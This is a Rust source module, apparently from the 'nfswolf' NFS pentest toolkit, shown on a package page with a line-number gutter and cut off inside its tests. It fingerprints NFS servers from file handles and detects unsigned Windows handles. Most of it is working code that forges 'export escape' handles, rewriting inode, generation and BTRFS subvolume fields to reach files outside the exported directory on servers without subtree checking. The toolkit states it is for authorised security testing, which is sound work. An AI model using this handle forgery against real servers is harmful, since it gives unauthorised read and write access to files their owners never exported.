nfswolf 1.0.0

Pure-Rust NFS (v2/v3/v4) security toolkit: recon, analysis, export-escape, FUSE mount, and an interactive shell for authorized red-team and pentest work.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
//! NFS file handle analysis, fingerprinting, and escape construction.
//!
//! Implements OS/filesystem detection from handle format and constructs
//! escape handles to access files outside the exported directory.

// Struct fields are forensic data values; individual field docs would
// repeat the field name. Context is in the module and finding docs.
// Toolkit API  --  not all items are used in currently-implemented phases.
// All slice/index operations in this module are guarded by explicit len() checks
// before accessing the bytes  --  the bounds are enforced, just not via .get().
use crate::proto::nfs3::types::FileHandle;

/// Detected operating system from file handle format.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum OsGuess {
    Linux,
    Windows,
    FreeBsd,
    /// HP-UX: one-request-per-TCP connection model. Reserved for future TCP behavior fingerprinting.
    #[expect(dead_code, reason = "reserved for future TCP behavior fingerprinting")]
    HpUx,
    Unknown,
}

/// Detected filesystem type from file handle structure.
///
/// Covers all types nfs_analyze identifies from inode patterns
/// in Linux file handles (byte 2 = fsid_type, plus inode structure).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum FsType {
    Ext4,
    Xfs,
    Btrfs,
    Unknown,
}

/// Windows file handle signing status.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum SigningStatus {
    /// Handle is signed (HMAC bytes are non-zero)
    Enabled,
    /// Handle is NOT signed (HMAC bytes are zero)  --  full FS access possible
    Disabled,
    /// Not a Windows handle (wrong size or format)
    NotApplicable,
}

/// Which NFS version's handle format was checked for Windows signing.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum WindowsHandleVersion {
    /// NFSv3: 32-byte handle, last 10 bytes are HMAC
    V3,
    /// NFSv4.1: 28-byte handle, last 16 bytes are HMAC
    V41,
}

/// Result of file handle entropy analysis.
#[derive(Debug, Clone)]
pub(crate) struct EntropyAnalysis {
    /// Total bits of randomness estimated in the handle
    pub entropy_bits: f64,
    /// Estimated brute-force time at 10,000 attempts/sec
    pub brute_force_seconds: f64,
    /// Which fields contain randomness
    pub random_fields: Vec<String>,
}

/// Filesystem root handle construction for export escape.
#[derive(Debug, Clone)]
pub(crate) struct EscapeResult {
    /// Constructed file handle for filesystem root
    pub root_handle: FileHandle,
    /// Filesystem type detected
    pub fs_type: FsType,
    /// Confidence level (0.0 - 1.0)
    pub confidence: f64,
    /// Inode number embedded in the constructed handle (root inode, or subvolume ID for BTRFS)
    pub inode_number: u32,
}

/// A handle with a label describing how it was derived.
#[derive(Debug, Clone)]
pub(crate) struct HandleVariant {
    pub handle: FileHandle,
    pub label: String,
}

/// Derive all plausible length variants of a handle by padding and trimming.
///
/// From a single source handle, produces up to 4 variants:
///   raw       -- as-is
///   trimmed   -- trailing zero bytes stripped (min 1 byte retained)
///   padded_32 -- zero-padded to 32 bytes (FHSIZE2, NFSv2 wire format)
///   padded_64 -- zero-padded to 64 bytes (NFS3_FHSIZE maximum)
pub(crate) fn derive_handle_variants(handle: &FileHandle, source: &str) -> Vec<HandleVariant> {
    let bytes = handle.as_bytes();
    let len = bytes.len();
    let mut variants = Vec::with_capacity(4);

    variants.push(HandleVariant { handle: handle.clone(), label: format!("{source}_raw({len}B)") });

    let trimmed_len = bytes.iter().rposition(|&b| b != 0).map_or(1, |i| i + 1);
    if trimmed_len < len
        && let Some(trimmed) = bytes.get(..trimmed_len)
    {
        variants.push(HandleVariant { handle: FileHandle::from_bytes(trimmed), label: format!("{source}_trimmed({trimmed_len}B)") });
    }

    if len < 32 {
        let mut padded = bytes.to_vec();
        padded.resize(32, 0);
        variants.push(HandleVariant { handle: FileHandle::from_bytes(&padded), label: format!("{source}_pad32") });
    }

    if len < 64 {
        let mut padded = bytes.to_vec();
        padded.resize(64, 0);
        variants.push(HandleVariant { handle: FileHandle::from_bytes(&padded), label: format!("{source}_pad64") });
    }

    variants
}

/// Remove duplicate variants (same byte content), keeping the first label.
pub(crate) fn dedup_variants(variants: &mut Vec<HandleVariant>) {
    let mut seen = std::collections::HashSet::new();
    variants.retain(|v| seen.insert(v.handle.as_bytes().to_vec()));
}

/// Analyze and manipulate NFS file handles.
#[derive(Debug)]
pub(crate) struct FileHandleAnalyzer;

impl FileHandleAnalyzer {
    /// Determine the server OS from file handle structure.
    pub(crate) fn fingerprint_os(fh: &FileHandle) -> OsGuess {
        let data = fh.as_bytes();

        if data.len() == 32 {
            // A 32-byte handle is ambiguous: it can be a Windows handle (always
            // 32 bytes, non-zero HMAC tail) OR a Linux knfsd handle for an XFS
            // UUID-based export -- [01 00 fsid_type fileid_type] + 16B UUID fsid
            // (fsid_type 6/7) + 8B 64-bit inode + 4B generation = exactly 32 bytes.
            // Such an XFS handle carries the Linux version/auth marker (01 00) and
            // FILEID_INO64_GEN (0x81); whenever the file's generation is non-zero
            // its trailing bytes are non-zero, which would otherwise trip the
            // Windows heuristic below. Exclude Linux-format handles first so an
            // XFS handle is not misfingerprinted as Windows (the Linux check below
            // then classifies it correctly).
            let linux_marker = data.first().copied() == Some(0x01) && data.get(1).copied() == Some(0x00);
            if !linux_marker {
                // Windows handles have non-zero trailing bytes; Linux NFSv2 pads with zeros.
                let tail_nonzero = data.get(28..32).is_some_and(|s| s != [0u8, 0, 0, 0]);
                let hmac_nonzero = data.get(22..32).is_some_and(|s| s.iter().any(|&b| b != 0));
                if tail_nonzero || hmac_nonzero {
                    return OsGuess::Windows;
                }
            }
        }

        // Linux: version=1, auth_type=0
        if data.first().copied() == Some(0x01) && data.get(1).copied() == Some(0x00) {
            return OsGuess::Linux;
        }

        // FreeBSD: starts with fsid (8 bytes) that often has high values
        if data.len() >= 20
            && let (Some(&b8), Some(&b9)) = (data.get(8), data.get(9))
        {
            let fid_len = u16::from_be_bytes([b8, b9]);
            if fid_len == 12 {
                return OsGuess::FreeBsd;
            }
        }

        OsGuess::Unknown
    }

    /// Identify filesystem type from a Linux file handle.
    ///
    /// Uses the same inode-pattern heuristics as nfs_analyze: fsid_type (byte 2)
    /// combined with inode numbering patterns to distinguish ext4/xfs/btrfs and
    /// detect rarer filesystems (udf, nilfs, fat, lustre).
    pub(crate) fn fingerprint_fs(fh: &FileHandle) -> FsType {
        let data = fh.as_bytes();
        if data.len() < 8 {
            return FsType::Unknown;
        }

        let Some(&fsid_type) = data.get(2) else { return FsType::Unknown };
        let Some(&fileid_type) = data.get(3) else { return FsType::Unknown };

        // fileid_type identifies the FS before we even look at fsid_type.
        // Check all known fileid_type markers first.
        if (0x4d..=0x4f).contains(&fileid_type) {
            return FsType::Btrfs;
        }
        // FILEID_INO64_GEN (0x81) is only emitted by Linux XFS when inodes exceed
        // 2^32.  ext4 always uses 32-bit inodes (FILEID_INO32_GEN = 0x01).
        if fileid_type == 0x81 {
            return FsType::Xfs;
        }

        // Compound UUID handle (fsid_type=7, fileid_type=0, 28 bytes):
        //   [header 4B] | [export_inode 4B] | [export_gen 4B] | [UUID 16B]
        // The export_inode distinguishes some FS types: ext4 root=2, XFS root=32/64/128.
        // BTRFS FS_TREE_OBJECTID=5 is unambiguous. Higher inodes (256+) are ambiguous:
        // could be a BTRFS user subvol (256 is the first) or a regular ext4/XFS directory.
        if fsid_type == 7 && fileid_type == 0 && data.len() == 28 {
            if let (Some(&b0), Some(&b1), Some(&b2), Some(&b3)) = (data.get(4), data.get(5), data.get(6), data.get(7)) {
                let export_inode = u32::from_le_bytes([b0, b1, b2, b3]);
                return match export_inode {
                    5 => FsType::Btrfs,
                    2 => FsType::Ext4,
                    32 | 64 | 128 => FsType::Xfs,
                    _ => FsType::Unknown,
                };
            }
            return FsType::Unknown;
        }

        let fsid_len = match fsid_type {
            0 | 3..=5 => 8, // dev major:minor
            1 => 4,         // dev number only
            2 => 12,        // dev + UUID prefix
            6 => 16,        // UUID-based: 16-byte UUID
            7 => 24,        // compound UUID: export_inode(4) + export_gen(4) + UUID(16) = 24 (kernel FSID_UUID16_INUM key_len)
            _ => return FsType::Unknown,
        };

        // Use the inode embedded in the handle (the export root's inode) to distinguish
        // filesystem types.  This is the most reliable signal when fileid_type alone is
        // ambiguous (0x01 is shared by ext4, ext3, and old-format XFS).
        if data.len() > 4 + fsid_len + 4 {
            let inode_offset = 4 + fsid_len;
            if let (Some(&b0), Some(&b1), Some(&b2), Some(&b3)) = (data.get(inode_offset), data.get(inode_offset + 1), data.get(inode_offset + 2), data.get(inode_offset + 3)) {
                let inode = u32::from_le_bytes([b0, b1, b2, b3]);
                match inode {
                    2 => return FsType::Ext4,            // ext3/ext4 root inode is always 2
                    32 | 64 | 128 => return FsType::Xfs, // XFS root (varies by inode size)
                    _ => {},                             // ambiguous -- fall through
                }
            }
        }

        match fsid_type {
            0 => FsType::Ext4,    // device-based fsid without a UUID -- assume ext4
            _ => FsType::Unknown, // UUID-based with inconclusive inode: try all candidates
        }
    }

    /// Check Windows file handle signing.
    ///
    /// Two formats exist (discovered by nfs_analyze):
    /// - **NFSv3**: 32-byte handle, last 10 bytes (offset 22..32) are HMAC.
    /// - **NFSv4.1**: 28-byte handle, last 16 bytes (offset 12..28) are HMAC.
    ///
    /// All-zero HMAC means signing is disabled -> arbitrary handle forgery possible.
    pub(crate) fn check_windows_signing(fh: &FileHandle) -> SigningStatus {
        let data = fh.as_bytes();

        // NFSv3: 32-byte handle, HMAC in last 10 bytes (offset 22..32)
        if data.len() == 32 {
            let all_zero = data.get(22..32).is_some_and(|s| s.iter().all(|&b| b == 0));
            return if all_zero { SigningStatus::Disabled } else { SigningStatus::Enabled };
        }

        // NFSv4.1: 28-byte handle, HMAC in last 16 bytes (offset 12..28)
        if data.len() == 28 {
            let all_zero = data.get(12..28).is_some_and(|s| s.iter().all(|&b| b == 0));
            return if all_zero { SigningStatus::Disabled } else { SigningStatus::Enabled };
        }

        SigningStatus::NotApplicable
    }

    /// Returns `V3` for 32-byte handles and `V41` for 28-byte handles, which are
    /// the two known Windows NFS handle formats. Returns `None` for any other size.
    pub(crate) fn detect_windows_handle_version(fh: &FileHandle) -> Option<WindowsHandleVersion> {
        match fh.as_bytes().len() {
            32 => Some(WindowsHandleVersion::V3),
            28 => Some(WindowsHandleVersion::V41),
            _ => None,
        }
    }

    /// Construct a file handle targeting an arbitrary inode on the same filesystem.
    ///
    /// This is the generic primitive behind export escape. When `subtree_check` is
    /// disabled (Linux default), the server only verifies the fsid, not that the inode
    /// falls within the export. By rewriting the inode field, we can reach any file.
    ///
    /// `construct_escape_handle` is sugar that calls this with the FS root inode.
    /// Researchers can call this directly with any inode + generation to target
    /// specific files discovered via inode enumeration or brute-force.
    pub(crate) fn construct_handle_for_inode(export_fh: &FileHandle, inode: u32, generation: u32) -> Option<EscapeResult> {
        let data = export_fh.as_bytes();
        if data.len() < 8 {
            return None;
        }

        // Only works on Linux handles (version=1, auth=0)
        if data.first().copied() != Some(0x01) || data.get(1).copied() != Some(0x00) {
            return None;
        }

        let &fsid_type = data.get(2)?;
        let &fileid_type = data.get(3)?;

        // BTRFS handles (fileid_type 0x4d..=0x4f) use a completely different fileid
        // layout and are not constructable via this function -- use
        // construct_btrfs_subvol_handles instead.
        if (0x4d..=0x4f).contains(&fileid_type) {
            return None;
        }

        // --- COMPOUND UUID handle (fsid_type=7, 28-byte export-root handles) ---
        //
        // Linux knfsd with UUID-based exports uses a two-layer handle format:
        //
        //   FILEID_ROOT (fileid_type=0, 28 bytes)  -- returned by MOUNT for export dir:
        //     [01][00][07][00] | export_dir_inode(4LE) | export_dir_gen(4LE) | UUID(16)
        //
        //   FILEID_INO32_GEN_PARENT (fileid_type=2, 44 bytes) -- canonical escape format per
        //   the nfs-security-tooling wiki and nfs_analyze reference implementation:
        //     [01][00][07][02] | export_dir_inode(4LE) | export_dir_gen(4LE) | UUID(16)
        //                      | file_inode(4LE) | file_gen(4LE)
        //                      | parent_inode(4LE) | parent_gen(4LE)
        //   The root directory is its own parent, so parent_inode == inode, parent_gen == gen.
        //
        // With no_subtree_check (Linux default), the server validates only the UUID/fsid,
        // not that the appended inode falls within the exported subtree (F-2.1).
        //
        // Reference: nfs_analyze.py lines 564-565, wiki 5_1-Accessing-files-outside-export.md
        if fsid_type == 7 && fileid_type == 0 && data.len() == 28 {
            let export_ctx = data.get(4..28)?; // 24 bytes: dir_inode + dir_gen + UUID
            let mut handle_data = Vec::with_capacity(44);
            handle_data.push(0x01);
            handle_data.push(0x00);
            handle_data.push(0x07); // fsid_type=7
            handle_data.push(0x02); // fileid_type=2 (FILEID_INO32_GEN_PARENT)
            handle_data.extend_from_slice(export_ctx);
            handle_data.extend_from_slice(&inode.to_le_bytes()); // file inode
            handle_data.extend_from_slice(&generation.to_le_bytes()); // file gen
            handle_data.extend_from_slice(&inode.to_le_bytes()); // parent inode (root = own parent)
            handle_data.extend_from_slice(&generation.to_le_bytes()); // parent gen
            // Infer the filesystem type from the root inode number.
            // ext4 root is always inode 2; XFS root: 128 (v5), 64 (v4 512B inodes), 32 (v4 1024B inodes).
            // Any other inode is ambiguous -- leave Unknown.
            let inferred_fs = match inode {
                2 => FsType::Ext4,
                32 | 64 | 128 => FsType::Xfs,
                _ => FsType::Unknown,
            };
            return Some(EscapeResult { root_handle: FileHandle(handle_data), fs_type: inferred_fs, confidence: if generation == 0 { 0.7 } else { 0.9 }, inode_number: inode });
        }

        // --- Standard single-layer handles ---
        //
        // fsid_type determines how many bytes of fsid to preserve verbatim.
        // Unsupported types cannot be reconstructed.
        let fsid_len = match fsid_type {
            0 | 3..=5 => 8, // dev major:minor (32+32 bits)
            1 => 4,         // dev number only (32 bits)
            2 => 12,        // dev + UUID prefix
            6 => 16,        // UUID-based: 16-byte UUID
            7 => 24,        // compound UUID: export_inode(4) + export_gen(4) + UUID(16) = 24 (kernel FSID_UUID16_INUM key_len); matches construct_btrfs_subvol_handles
            _ => return None,
        };

        if data.len() < 4 + fsid_len {
            return None;
        }

        // Derive the fileid encoding format from the MOUNT handle's fileid_type.
        // This is the key insight: the FS type determines the inode width, and
        // fileid_type in the mount handle directly encodes that width.
        //
        //   FILEID_INO64_GEN (0x81) -- XFS only, 64-bit inode + 32-bit gen = 12 bytes
        //   FILEID_INO32_GEN (0x01) -- ext3/ext4 and 32-bit-compat XFS, 32-bit inode + gen = 8 bytes
        //   BTRFS (0x4d..=0x4f)    -- handled in the branch above, never reaches here
        //
        // Using fileid_type (not fsid_type) avoids the false "UUID = XFS" assumption
        // and correctly handles ext3/ext4 exports that use UUID-based fsids.
        let (target_fileid_type, inferred_fs) = if fileid_type == 0x81 {
            (0x81u8, FsType::Xfs)
        } else {
            (
                0x01u8,
                match inode {
                    2 => FsType::Ext4,
                    32 | 64 | 128 => FsType::Xfs,
                    _ => FsType::Unknown,
                },
            )
        };

        let fsid_slice = data.get(4..4 + fsid_len)?;
        let mut handle_data = Vec::with_capacity(4 + fsid_len + 12);
        handle_data.push(0x01);
        handle_data.push(0x00);
        handle_data.push(fsid_type);
        handle_data.push(target_fileid_type);
        handle_data.extend_from_slice(fsid_slice);

        if target_fileid_type == 0x81 {
            // XFS: 64-bit inode (8 bytes) + 32-bit generation (4 bytes)
            handle_data.extend_from_slice(&u64::from(inode).to_le_bytes());
        } else {
            // ext4/ext3: 32-bit inode (4 bytes) + 32-bit generation (4 bytes)
            handle_data.extend_from_slice(&inode.to_le_bytes());
        }
        handle_data.extend_from_slice(&generation.to_le_bytes());

        Some(EscapeResult { root_handle: FileHandle(handle_data), fs_type: inferred_fs, confidence: if generation == 0 { 0.7 } else { 0.9 }, inode_number: inode })
    }

    /// Escape export to filesystem root. Sugar for `construct_handle_for_inode`
    /// with the root inode for the detected filesystem type.
    ///
    /// For XFS, tries inode 128 (default v5 format) first, then inode 64
    /// (v4 format or `mkfs.xfs -i size=256`).  Returns the first candidate;
    /// the caller should verify against the server with GETATTR.
    pub(crate) fn construct_escape_handle(export_fh: &FileHandle) -> Option<EscapeResult> {
        let data = export_fh.as_bytes();
        let &fileid_type = data.get(3)?;
        let &fsid_type = data.get(2)?;
        let is_btrfs = (0x4d..=0x4f).contains(&fileid_type);

        if is_btrfs {
            // Primary candidate: FS_TREE_OBJECTID (5) = default subvolume on any fresh btrfs.
            // construct_btrfs_subvol_handles covers FS tree + user subvols in run_escape;
            // this path is the single-candidate fast path used elsewhere.
            return Self::construct_btrfs_subvol_handles(export_fh, 0).into_iter().next();
        }

        // Compound UUID format (fsid_type=7, fileid_type=0, 28-byte export-root handle).
        // Guard: if the export directory IS the filesystem root there is nothing to
        // escape. On a compound-UUID handle fingerprint_fs cannot tell ext4 from XFS
        // (it returns Unknown), so only inode 2 -- the unambiguous ext4 root -- counts as
        // "already root" here. 32/64/128 are XFS roots but ALSO ordinary low-numbered
        // ext4 directory inodes, so aborting on them would wrongly fail escape on an ext4
        // export; that case is handled only on the XFS-identified path (fileid_type 0x81)
        // and otherwise left to the live STALE oracle. nfs_analyze checks
        // `export_fileid in [2, 128]`, but it probes inode 2 separately, so its broader
        // 128 case is harmless there -- here a single Option must not over-abort.
        if fsid_type == 7 && fileid_type == 0 && data.len() == 28 {
            let export_inode = u32::from_le_bytes([*data.get(4)?, *data.get(5)?, *data.get(6)?, *data.get(7)?]);
            if export_inode == 2 {
                return None; // Export IS the ext4 filesystem root -- escape has no effect
            }
            return Self::construct_handle_for_inode(export_fh, 2, 0);
        }

        // fileid_type=0x81 (FILEID_INO64_GEN) unambiguously means XFS with 64-bit inodes.
        // XFS v5 root = inode 128; v4 / -i size=256 root = inode 64.
        if fileid_type == 0x81 {
            return Self::construct_handle_for_inode(export_fh, 128, 0).or_else(|| Self::construct_handle_for_inode(export_fh, 64, 0));
        }

        // For all other filesystems (ext4, ext3, 32-bit XFS), inode 2 is the root.
        // run_escape also queues XFS candidates for Ext4/Unknown fingerprints.
        Self::construct_handle_for_inode(export_fh, 2, 0)
    }

    /// Return all plausible XFS root handle candidates (gen 0), ordered by likelihood.
    ///
    /// Known root inode numbers by `mkfs.xfs` configuration:
    ///   128 -- default (v5 CRC, 256-byte inodes) and v5 with 512-byte inodes
    ///    64 -- v4 with 512-byte inodes (`-m crc=0 -i size=512`)
    ///    32 -- v4 with 1024-byte inodes (`-m crc=0 -i size=1024`)
    ///
    /// Use when a single `construct_escape_handle` call is insufficient.
    pub(crate) fn construct_xfs_escape_candidates(export_fh: &FileHandle) -> Vec<EscapeResult> {
        [128u32, 64u32, 32u32].iter().filter_map(|&inode| Self::construct_handle_for_inode(export_fh, inode, 0)).collect()
    }

    /// All plausible filesystem-root escape handles for a non-BTRFS export handle,
    /// ordered by likelihood. Single-call sites should iterate this rather than the
    /// single-candidate `construct_escape_handle`, which can return only ONE inode.
    ///
    /// A compound-UUID export (fsid_type=7, fileid_type=0) uses the same handle format on
    /// ext4 AND XFS and `fingerprint_fs` cannot tell them apart, so this queues the ext4
    /// root (inode 2) first and then the XFS roots (128/64/32). Without it a single call
    /// only ever probes ext4 inode 2 and misses the XFS root on a UUID-based XFS export.
    /// (BTRFS uses `construct_btrfs_subvol_handles` instead.)
    pub(crate) fn construct_root_candidates(export_fh: &FileHandle) -> Vec<EscapeResult> {
        match Self::fingerprint_fs(export_fh) {
            FsType::Xfs => Self::construct_xfs_escape_candidates(export_fh),
            // Compound-UUID (Unknown) is ambiguous ext4/XFS, and an ext4 fsid_type=0 handle
            // can belong to a 32-bit-inode XFS: try the ext4 root (inode 2) first, then the
            // XFS roots (128/64/32). probe_escape_candidate rejects non-directory hits, so a
            // non-root inode that merely exists (e.g. inode 128 = ext4 journal) is never a
            // false escape.
            FsType::Btrfs => Self::construct_escape_handle(export_fh).into_iter().collect(),
            FsType::Unknown | FsType::Ext4 => {
                let mut candidates: Vec<EscapeResult> = Self::construct_escape_handle(export_fh).into_iter().collect();
                candidates.extend(Self::construct_xfs_escape_candidates(export_fh));
                candidates
            },
        }
    }

    /// Generate BTRFS subvolume escape handles.
    ///
    /// BTRFS FILEID_WITHOUT_PARENT (0x4d) layout (per kernel fs/btrfs/export.c):
    ///   objectid      (u64 LE) -- inode object ID within the subvolume; always
    ///                             BTRFS_FIRST_FREE_OBJECTID (256) for the root dir
    ///   root_objectid (u64 LE) -- subvolume/tree ID
    ///   gen           (u32 LE) -- generation number
    ///
    /// Candidates tried:
    ///   1. FS_TREE_OBJECTID (5)  -- the default subvolume on any fresh btrfs filesystem
    ///   2. User subvolumes 256 .. 256 + max_subvols  -- user-created subvolumes
    pub(crate) fn construct_btrfs_subvol_handles(export_fh: &FileHandle, max_subvols: u32) -> Vec<EscapeResult> {
        // BTRFS_FIRST_FREE_OBJECTID: the inode object ID of any subvolume root directory.
        const ROOT_OBJECTID: u64 = 256;
        // BTRFS_FS_TREE_OBJECTID: the default/main subvolume on a fresh btrfs filesystem.
        const FS_TREE_OBJECTID: u64 = 5;

        let data = export_fh.as_bytes();
        if data.len() < 8 || data.first().copied() != Some(0x01) || data.get(1).copied() != Some(0x00) {
            return Vec::new();
        }

        let Some(&fsid_type) = data.get(2) else { return Vec::new() };

        // For compound UUID MOUNT handles (fsid_type=7, fileid_type=0, 28 bytes) the
        // 24-byte export context embeds [export_inode(4)][export_gen(4)][UUID(16)].
        // BTRFS LOOKUP handles may use EITHER:
        //   (a) fsid_type=7 with the full 24-byte export context as fsid, OR
        //   (b) fsid_type=6 with just the 16-byte UUID as fsid.
        // We generate both variants and let the probe oracle determine which the server accepts.
        let is_compound_uuid = fsid_type == 7 && data.get(3).copied() == Some(0x00) && data.len() == 28;

        // Standard fsid extraction for non-compound handles.
        let fsid_len = match fsid_type {
            0 | 3..=5 => 8,
            1 => 4,
            2 => 12,
            6 => 16,
            7 => 24, // compound UUID: use all 24 bytes of export context as fsid
            _ => return Vec::new(),
        };

        let Some(fsid_slice) = data.get(4..4 + fsid_len) else { return Vec::new() };

        // For compound UUID: also extract just the 16-byte UUID (bytes 12..28).
        let uuid_only: Option<&[u8]> = if is_compound_uuid { data.get(12..28) } else { None };

        // Build a BTRFS handle targeting `root_objectid` (subvolume ID).
        // fileid = objectid(8) + root_objectid(8) + gen(4) = 20 bytes.
        let make_handle = |ftype: u8, flen: usize, fsid: &[u8], root_id: u64, confidence: f64| {
            let mut handle_data = Vec::with_capacity(4 + flen + 20);
            handle_data.push(0x01);
            handle_data.push(0x00);
            handle_data.push(ftype);
            handle_data.push(0x4d); // FILEID_BTRFS_WITHOUT_PARENT
            handle_data.extend_from_slice(fsid);
            handle_data.extend_from_slice(&ROOT_OBJECTID.to_le_bytes()); // root dir inode
            handle_data.extend_from_slice(&root_id.to_le_bytes()); // subvolume ID
            handle_data.extend_from_slice(&0u32.to_le_bytes()); // gen = 0
            #[expect(clippy::cast_possible_truncation, reason = "subvol IDs fit in u32 in practice")]
            EscapeResult { root_handle: FileHandle(handle_data), fs_type: FsType::Btrfs, confidence, inode_number: root_id as u32 }
        };

        let mut results = Vec::with_capacity((1 + max_subvols as usize) * 2);
        let subvol_ids = std::iter::once(FS_TREE_OBJECTID).chain(256..256 + u64::from(max_subvols));

        for root_id in subvol_ids {
            let confidence = if root_id == FS_TREE_OBJECTID { 0.7 } else { 0.3 };
            // Primary: fsid_type as in MOUNT handle.
            results.push(make_handle(fsid_type, fsid_len, fsid_slice, root_id, confidence));
            // For compound UUID: also try fsid_type=6 with pure UUID (the alternative format).
            if let Some(uuid) = uuid_only {
                results.push(make_handle(6, 16, uuid, root_id, confidence * 0.9));
            }
        }
        results
    }

    /// Estimate the entropy (randomness) of a file handle.
    pub(crate) fn estimate_entropy(fh: &FileHandle) -> EntropyAnalysis {
        let data = fh.as_bytes();
        let os = Self::fingerprint_os(fh);

        let (entropy_bits, random_fields): (f64, Vec<String>) = match os {
            OsGuess::Linux => {
                // Linux root handle: only xdev needs guessing (~11 bits)
                // Linux non-root: gen_no is 32 bits random
                if data.len() <= 12 { (11.0, vec!["xdev (device major:minor)".into()]) } else { (32.0, vec!["generation number (4 bytes)".into()]) }
            },
            OsGuess::FreeBsd => {
                // 4 bytes random fsid + 4 bytes gen = 64 bits
                (64.0, vec!["fsid (4 bytes arc4random)".into(), "ufid_gen (4 bytes)".into()])
            },
            OsGuess::Windows => {
                if Self::check_windows_signing(fh) == SigningStatus::Enabled {
                    (80.0, vec!["HMAC signature (10 bytes)".into()])
                } else {
                    (0.0, vec![])
                }
            },
            OsGuess::HpUx | OsGuess::Unknown => (32.0, vec!["unknown fields".into()]),
        };

        let brute_force_seconds = entropy_bits.exp2() / 10000.0;

        EntropyAnalysis { entropy_bits, brute_force_seconds, random_fields }
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    /// Build a minimal Linux NFSv3 file handle: version=1, auth=0, fsid_type, fileid_type,
    /// then fsid (device major:minor = 8 bytes) and fileid (inode+gen = 8 bytes).
    fn linux_ext4_handle(inode: u32, generation: u32) -> FileHandle {
        let mut data = vec![
            0x01, // version = 1  (Linux)
            0x00, // auth_type = 0
            0x00, // fsid_type = 0 (dev major:minor  --  ext4)
            0x02, // fileid_type = 2 (inode + generation)
            // fsid: 8 bytes (device major=8, minor=1)
